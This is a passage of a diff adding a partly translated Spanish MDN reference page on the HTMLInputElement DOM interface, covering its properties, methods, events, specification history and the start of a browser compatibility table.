+   <td><em><code>{{domxref("HTMLFormElement")}} object:</code></em>  Retorna una referencia al elemento {{HtmlElement("form")}} padre</td>
+  </tr>
+  <tr>
+   <td><code>formAction</code></td>
+   <td><em><code>string</code>: </em><strong>Retorna / Establece</strong> los atributos de los elementos {{ htmlattrxref("formaction", "input") }}, conteniendo la URI de un programa que procesa la información enviada por el elemento. Esto invalida al atributo {{ htmlattrxref("action", "form") }} del formulario padre.</td>
+  </tr>
+  <tr>
+   <td><code>formEncType</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("formenctype", "input") }} attribute, containing the type of content that is used to submit the form to the server. This overrides the {{ htmlattrxref("enctype", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formMethod</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("formmethod", "input") }} attribute, containing the HTTP method that the browser uses to submit the form. This overrides the {{ htmlattrxref("method", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formNoValidate</code></td>
+   <td><em><code>boolean</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("formnovalidate", "input") }} attribute, indicating that the form is not to be validated when it is submitted. This overrides the {{ htmlattrxref("novalidate", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formTarget</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("formtarget", "input") }} attribute, containing a name or keyword indicating where to display the response that is received after submitting the form. This overrides the {{ htmlattrxref("target", "form") }} attribute of the parent form.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Propiedades que aplican a cualquier tipo de elemento input que no se encuentre escondido</caption>
+ <tbody>
+  <tr>
+   <td><code>name</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("name", "input") }} attribute, containing a name that identifies the element when submitting the form.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td><code><em>string:</em></code> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("type", "input") }} attribute, indicating the type of control to display. See {{ htmlattrxref("type", "input") }} attribute of {{ HTMLElement("input") }} for possible values.</td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td><em><code>boolean</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("disabled", "input") }} attribute, indicating that the control is not available for interaction. The input values will not be submitted with the form. See also {{ htmlattrxref("readOnly", "input") }} </td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td><code><em>boolean:</em></code> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("autofocus", "input") }} attribute, which specifies that a form control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the {{htmlattrxref("autofocus","input")}} attribute. It cannot be applied if the {{htmlattrxref("type","input")}} attribute is set to <code>hidden</code> (that is, you cannot automatically set focus to a hidden control).</td>
+  </tr>
+  <tr>
+   <td><code>required</code></td>
+   <td><em><code>boolean</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("required", "input") }} attribute, indicating that the user must fill in a value before submitting a form.</td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td><code><em>string:</em></code> <strong>Returns / Sets</strong> the current value of the control.
+    <p class="note"><strong>Nota:</strong> Si el usuario ingresa un valor diferente al esperado, esto puede retornar una cadena vacía.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>validity</code> {{readonlyInline}}</td>
+   <td><code><em>{{domxref("ValidityState")}} object:</em></code> Returns the validity state that this element is in.</td>
+  </tr>
+  <tr>
+   <td><code>validationMessage</code> {{readonlyInline}}</td>
+   <td><code><em>string:</em></code> <strong>Returns</strong> a localized message that describes the validation constraints that the control does not satisfy (if any). This is the empty string if the control is not a candidate for constraint validation ({{htmlattrxref("willValidate","input")}} is false), or it satisfies its constraints.</td>
+  </tr>
+  <tr>
+   <td><code>willValidate </code>{{readonlyInline}}</td>
+   <td><em><code>{{jsxref("Boolean")}}:</code></em> <strong>Indicates</strong> whether the element is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption><a id="Properties_checkbox_radio" name="Properties_checkbox_radio"></a>Propiedades que aplican solo a los elementos de tipo <code>checkbox</code> o <code>radio</code></caption>
+ <tbody>
+  <tr>
+   <td><code>checked</code></td>
+   <td> <code><em>boolean:</em> </code><strong>Returns / Sets</strong> the current state of the element when {{htmlattrxref("type","input")}} is <code>checkbox</code> or <code>radio</code>.</td>
+  </tr>
+  <tr>
+   <td><code>defaultChecked</code></td>
+   <td><em><code>boolean:</code></em> <strong>Returns / Sets</strong> the default state of a radio button or checkbox as originally specified in HTML that created this object.</td>
+  </tr>
+  <tr>
+   <td><code><a id="indeterminate" name="indeterminate"></a>indeterminate</code></td>
+   <td><code><em>boolean:</em></code> <strong>indicates</strong> that the checkbox is neither on nor off. Changes the appearance to resemble a third state. Does not affect the value of the <strong>checked</strong> attribute, and clicking the checkbox will set the value to false.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Propiedades que sólo aplican a los elementos de tipo <code>image</code></caption>
+ <tbody>
+  <tr>
+   <td><code>alt</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets</strong> the element's {{ htmlattrxref("alt", "input") }} attribute, containing alternative text to use when {{htmlattrxref("type","input")}} is <code>image.</code></td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets</strong> the element's {{ htmlattrxref("height", "input") }} attribute, which defines the height of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is <code>image</code>.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td><code><em>string:</em></code> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("src", "input") }} attribute, which specifies a URI for the location of an image to display on the graphical submit button, if the value of {{htmlattrxref("type","input")}} is <code>image</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td><code><em>string:</em></code> <strong>Returns / Sets</strong> the document's {{ htmlattrxref("width", "input") }} attribute, which defines the width of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is <code>image</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Propiedades que sólo aplican a los elementos de tipo <code>file</code></caption>
+ <tbody>
+  <tr>
+   <td><code>accept</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets</strong> the element's {{ htmlattrxref("accept", "input") }} attribute, containing comma-separated list of file types accepted by the server when {{htmlattrxref("type","input")}} is <code>file</code>.</td>
+  </tr>
+  <tr>
+   <td><code>allowdirs</code> {{non-standard_inline}}</td>
+   <td>boolean: Part of the non-standard Directory Upload API; <strong>indicates</strong> whether or not to allow directories and files both to be selected in the file list. Implemented only in Firefox and is hidden behind a preference.</td>
+  </tr>
+  <tr>
+   <td><a id="files_prop" name="files_prop"><code>files</code></a></td>
+   <td><strong>Returns/accepts</strong> a {{domxref("FileList")}} object, which contains a list of {{domxref("File")}} objects representing the files selected for upload.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.webkitdirectory", "webkitdirectory")}} {{Non-standard_inline}}</td>
+   <td>boolean:<strong> Returns</strong> the {{htmlattrxref("webkitdirectory", "input")}} attribute; if true, the file system picker interface only accepts directories instead of files.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.webkitEntries", "webkitEntries")}} {{Non-standard_inline}}</td>
+   <td>Array of {{domxref("FileSystemEntry")}} objects <strong>describing</strong> the currently-selected files or directories.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Properties that apply only to text/number-containing or elements</caption>
+ <tbody>
+  <tr>
+   <td><code>autocomplete</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets</strong> the element's {{htmlattrxref("autocomplete", "input")}} attribute, indicating whether the value of the control can be automatically completed by the browser. Ignored if the value of the {{htmlattrxref("type","input")}} attribute is <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type (<code>button</code>, <code>submit</code>, <code>reset</code>, <code>image</code>). Possible values are:<br>
+    "on": the browser can autocomplete the value using previously stored value<br>
+    "off": the user must explicity enter a value</td>
+  </tr>
+  <tr>
+   <td><code>maxLength</code></td>
+   <td><em><code>long</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("maxlength", "input") }} attribute, containing the <u><strong>maximum <strong>l</strong>ength of characters</strong></u> (in Unicode code points) that the value can have. (If you set this to a negative number, an exception will be thrown.)</td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td><em><code>unsigned long</code>:</em> <strong>Returns / Sets </strong>the element's {{ htmlattrxref("size", "input") }} attribute, containing <u><strong>size of the control</strong></u>. This value is in pixels unless the value of {{htmlattrxref("type","input")}} is <code>text</code> or <code>password</code>, in which case, it is an integer number of characters. Applies only when {{htmlattrxref("type","input")}} is set to <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code>, <code>email</code>, or <code>password</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("pattern", "input") }} attribute, containing a <u><strong>regular expression</strong></u> that the control's value is checked against.  Use the {{htmlattrxref("title","input")}} attribute to describe the pattern to help the user. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>placeholder</code></td>
+   <td><em><code>string</code>: </em><strong>Returns / Sets </strong>the element's {{ htmlattrxref("placeholder", "input") }} attribute, containing a hint to the user of what can be entered in the control. The placeholder text must not contain carriage returns or line-feeds. This attribute applies when the value of the {{htmlattrxref("type","input")}} attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored.</td>
+  </tr>
+  <tr>
+   <td><code>readOnly</code></td>
+   <td><em><code>boolean</code>:</em><strong> Returns / Sets</strong> the element's {{ htmlattrxref("readonly", "input") }} attribute, indicating that the user cannot modify the value of the control.<br>
+    {{HTMLVersionInline(5)}}This is ignored if the value of the {{htmlattrxref("type","input")}} attribute is <code>hidden</code>, <code>range</code>, <code>color</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type.</td>
+  </tr>
+  <tr>
+   <td><code>min</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("min", "input") }} attribute, containing the minimum (numeric or date-time) value for this item, which must not be greater than its maximum ({{htmlattrxref("max","input")}} attribute) value.</td>
+  </tr>
+  <tr>
+   <td><code>max</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("max", "input") }} attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</td>
+  </tr>
+  <tr>
+   <td><code>selectionStart</code></td>
+   <td><em><code>unsigned long</code>:</em> <strong>Returns / Sets</strong> the beginning index of the selected text. When nothing is selected, this returns the position of the text input cursor (caret) inside of the {{HTMLElement("input")}} element.</td>
+  </tr>
+  <tr>
+   <td><code>selectionEnd</code></td>
+   <td><em><code>unsigned long</code>:</em> <strong>Returns / Sets </strong>the end index of the selected text. When there's no selection, this returns the offset of the character immediately following the current text input cursor position.</td>
+  </tr>
+  <tr>
+   <td><code>selectionDirection</code></td>
+   <td><em><code>string</code>:</em> <strong>Returns / Sets</strong> the direction in which selection occurred. Possible values are:<br>
+    <code>"forward"</code> if selection was performed in the start-to-end direction of the current locale,<br>
+    <code>"backward"</code> for the opposite direction,<br>
+    <code>"none"</code> if the direction is unknown."</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Propiedades aun no categorizadas</caption>
+ <tbody>
+  <tr>
+   <td><code>defaultValue</code></td>
+   <td><em><code>string:</code></em> <strong>Returns / Sets</strong> the default value as originally specified in the HTML that created this object.</td>
+  </tr>
+  <tr>
+   <td><code>dirName</code></td>
+   <td><em><code>string:</code></em> <strong>Returns / Sets </strong>the directionality of the element.</td>
+  </tr>
+  <tr>
+   <td><code>accessKey</code></td>
+   <td><em><code>string</code>: </em><strong>Returns</strong> a string containing a single character that switches input focus to the control when pressed.</td>
+  </tr>
+  <tr>
+   <td><code>list</code> {{readonlyInline}}</td>
+   <td><em><code>{{domxref("HTMLElement")}} object:</code></em> <strong>Returns</strong> the element pointed by the {{ htmlattrxref("list", "input") }} attribute. The property may be <code>null</code> if no HTML element found in the same tree.</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code></td>
+   <td><em><code>boolean</code>:</em> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("multiple", "input") }} attribute, indicating whether more than one value is possible (e.g., multiple files).</td>
+  </tr>
+  <tr>
+   <td><code>files</code></td>
+   <td><em><code>{{domxref("FileList")}} array:</code></em> <strong>Returns</strong> the list of selected files.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLInputElement.labels")}} {{readonlyInline}}</td>
+   <td><code><em>{{domxref("NodeList")}} array:</em></code> <strong>Returns</strong> a list of {{ HTMLElement("label") }} elements that are labels for this element.</td>
+  </tr>
+  <tr>
+   <td><code>step</code></td>
+   <td><code><em>string:</em></code> <strong>Returns / Sets</strong> the element's {{ htmlattrxref("step", "input") }} attribute, which works with<strong> </strong>{{htmlattrxref("min","input")}} and {{htmlattrxref("max","input")}} to limit the increments at which a numeric or date-time value can be set. It can be the string <code>any</code> or a positive floating point number. If this is not set to <code>any</code>, the control accepts only values at multiples of the step value greater than the minimum.</td>
+  </tr>
+  <tr>
+   <td><code>valueAsDate</code></td>
+   <td><code><em>{{jsxref("Date")}} object:</em></code> Returns / Sets the value of the element, interpreted as a date, or <code>null</code> if conversion is not possible.</td>
+  </tr>
+  <tr>
+   <td><code>valueAsNumber</code></td>
+   <td><code>double</code>: <strong>Returns</strong> the value of the element, interpreted as one of the following, in order:
+    <ul>
+     <li>a time value</li>
+     <li>a number</li>
+     <li>NaN if conversion is impossible</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code> {{experimental_inline}}</td>
+   <td><code><em>string:</em></code> <strong>defines</strong> the capitalization behavior for user input. Valid values are <code>none</code>, <code>off</code>, <code>characters</code>, <code>words</code>, or <code>sentences</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{domxref("HTMLInputElement.align")}} {{obsolete_inline}}</dt>
+ <dd><code><em>string:</em></code> <strong>represents</strong> the alignment of the element. <em>Use CSS instead.</em></dd>
+ <dt>{{domxref("HTMLInputElement.useMap")}} {{ obsolete_inline }}</dt>
+ <dd><code><em>string:</em></code> <strong>represents</strong> a client-side image map.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>focus()</code></td>
+   <td>Focus on the input element; keystrokes will subsequently go to this element.</td>
+  </tr>
+  <tr>
+   <td><code>blur()</code></td>
+   <td>Removes focus from input; keystrokes will subsequently go nowhere.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select">select()</a></code></td>
+   <td>Selects the input text in the element, and focuses it so the user can subsequently replace the whole entry.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/click">click()</a></code></td>
+   <td>Simulates a click on the element.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/HTMLInputElement/setSelectionRange">setSelectionRange()</a></code></td>
+   <td>Selects a range of text in the element (but does not focus it). The optional selectionDirection parameter may be "forward" or "backward" to establish the direction in which selection was set, or "none" if the direction is unknown or not relevant. The default is "none". Specifying a selectionDirection parameter sets the value of the selectionDirection property.</td>
+  </tr>
+  <tr>
+   <td><code>setRangeText()</code></td>
+   <td>
+    <dl>
+     <dd>
+     <p>Replaces a range of text with the new text. If the <var>start</var> and <var>end</var> arguments are not provided, the range is assumed to be the selection.The final argument determines how the selection should be set after the text has been replaced. The possible values are:</p>
+
+     <dl>
+      <dt>"<code>select</code>"</dt>
+      <dd>Selects the newly inserted text.</dd>
+      <dt>"<code>start</code>"</dt>
+      <dd>Moves the selection to just before the inserted text.</dd>
+      <dt>"<code>end</code>"</dt>
+      <dd>Moves the selection to just after the selected text.</dd>
+      <dt>"<code>preserve</code>"</dt>
+      <dd>Attempts to preserve the selection. This is the default.</dd>
+     </dl>
+     </dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code></td>
+   <td>Sets a custom validity message for the element. If this message is not the empty string, then the element is suffering from a custom validity error, and does not validate.</td>
+  </tr>
+  <tr>
+   <td><code>checkValidity()</code></td>
+   <td>Returns a {{jsxref("Boolean")}} that is <code>false</code> if the element is a candidate for constraint validation, and it does not satisfy its constraints. In this case, it also fires an {{event("invalid")}} event at the element. It returns <code>true</code> if the element is not a candidate for constraint validation, or if it satisfies its constraints.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{domxref("HTMLInputElement.stepDown()")}}</dt>
+ <dd>Decrements the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * n), where n defaults to 1 if not specified. Throws an INVALID_STATE_ERR exception:
+ <ul>
+  <li>if the method is not applicable to for the current {{htmlattrxref("type","input")}} value,</li>
+  <li>if the element has no {{htmlattrxref("step","input")}} value,</li>
+  <li>if the {{htmlattrxref("value","input")}} cannot be converted to a number,</li>
+  <li>if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}. </li>
+ </ul>
+ </dd>
+ <dt>{{domxref("HTMLInputElement.stepUp()")}}</dt>
+ <dd>Increments the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * n), where n defaults to 1 if not specified. Throws an INVALID_STATE_ERR exception:
+ <ul>
+  <li>if the method is not applicable to for the current {{htmlattrxref("type","input")}} value.,</li>
+  <li>if the element has no {{htmlattrxref("step","input")}} value,</li>
+  <li>if the {{htmlattrxref("value","input")}} cannot be converted to a number,</li>
+  <li>if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}.</li>
+ </ul>
+ </dd>
+ <dt>
+ <h3 id="Métodos_no_estandarizados">Métodos no estandarizados</h3>
+ </dt>
+ <dt>
+ <p>{{domxref("HTMLInputElement.mozSetFileArray()")}}{{non-standard_inline}}</p>
+ </dt>
+ <dd>Sets the files selected on the input to the given array of {{domxref("File")}} objects.  This is an alternative to <code>mozSetFileNameArray()</code> which can be used in frame scripts: a chrome script can <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">open files as File objects</a> and send them via <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">message manager</a>.</dd>
+ <dt>{{domxref("HTMLInputElement.mozGetFileNameArray()")}}{{non-standard_inline}}</dt>
+ <dd>Returns an array of all the file names from the input.</dd>
+ <dt>{{domxref("HTMLInputElement.mozSetFileNameArray()")}}{{non-standard_inline}}</dt>
+ <dd>Sets the filenames for the files selected on the input.  Not for use in <a href="/en-US/Firefox/Multiprocess_Firefox/Limitations_of_frame_scripts">frame scripts</a>, because it accesses the file system.</dd>
+</dl>
+
+<h2 id="Eventos">Eventos</h2>
+
+<p>Responde a este elemento usando <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> o asignando una respuesta a la propiedad <code>on<em>eventname</em></code> de esta interface:</p>
+
+<dl>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event"><code>input</code></a></dt>
+ <dd>Se activa cuando el <code>value</code> de un elemento {{HTMLElement("input")}}, {{HTMLElement("select")}}, o {{HTMLElement("textarea")}} ha sido modificado.</dd>
+ <dd>
+ <p><strong>Nota:</strong> Esto es actualmente gatillado en la interface {{domxref("HTMLElement")}} y también aplica a los elementos <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code>, pero lo hemos listado acá porque es más utilizado con los elementos de entrada de formularios.</p>
+ </dd>
+ <dd>
+ <p>También disponible por la propiedad manipuladora <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/oninput">oninput</a></code>.</p>
+ </dd>
+ <dt><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTMLElement/invalid_event">invalid</a></code></dt>
+ <dd>Fired when an element does not satisfy its constraints during constraint validation.</dd>
+ <dd>Also available via the <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/oninvalid">oninvalid</a></code> event handler property.</dd>
+ <dt><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/search_event">search</a></code></dt>
+ <dd>Fired when a search is initiated on an {{HTMLElement("input")}} of <code>type="search"</code>.</dd>
+ <dd>Also available via the <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onsearch">onsearch</a></code> event handler property.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "forms.html#the-input-element", "HTMLInputElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-input-element", "HTMLInputElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Technically, the  tabindex and accesskey properties, as well as the blur(), click(), and focus() methods, are now defined on {{domxref("HTMLElement")}}.<br>
+    The following properties are now obsolete: align and useMap.<br>
+    The following properties have been added: autocomplete, autofocus, dirName, files, formAction, formEncType, formMethod, formNoValidate, formTarget, height, indeterminate, labels, list, max, min, multiple, pattern, placeholder, required, selectionDirection, selectionEnd, selectionStart, step, validationMessage, validity, valueAsDate, valueAsNumber, width, and willValidate.<br>
+    The following methods have been added: checkValidity(), setCustomValidity(), setSelectionRange(), stepUp(), and stepDown().</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-6043025', 'HTMLInputElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The size property is now an unsigned long. The type property must be entirely given in lowercase characters.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-6043025', 'HTMLInputElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autocomplete &amp; autofocus properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>files property</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.9)}}<sup>[2]</sup></td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>multiple property</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>indeterminate property</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>list property</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formAction, formEncType, formMethod, formTarget properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formNoValidate, validationMessage, validity, willValidate properties and setCustomValidity() and checkValidity() methods.</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>pattern, placeholder, required properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>height and weight properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(16)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code> property</td>
+   <td>{{CompatChrome(14.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("56")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>min, max, and step for &lt;input type="number"&gt;</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>Experimental, and without specific UI, since {{CompatGeckoDesktop(16)}}: behind the pref dom.experimental_forms</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>stepUp and stepDown methods</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>Experimental since {{CompatGeckoDesktop(16)}}: behind the pref dom.experimental_forms<br>
+    <br>
+    There are still differences with the latest spec: {{bug(835773)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>min, max, and step properties for &lt;input type="range"&gt;</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(23)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>min, max, and step properties for &lt;input type="date"&gt;</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>Experimental, and without specific UI, since {{CompatGeckoDesktop(20)}}: behind the pref dom.experimental_forms</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>min, max, and step properties for other date-related type values</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>mozGetFileNameArray() and mozSetFileNameArray() methods {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>mozSetFileArray() method {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
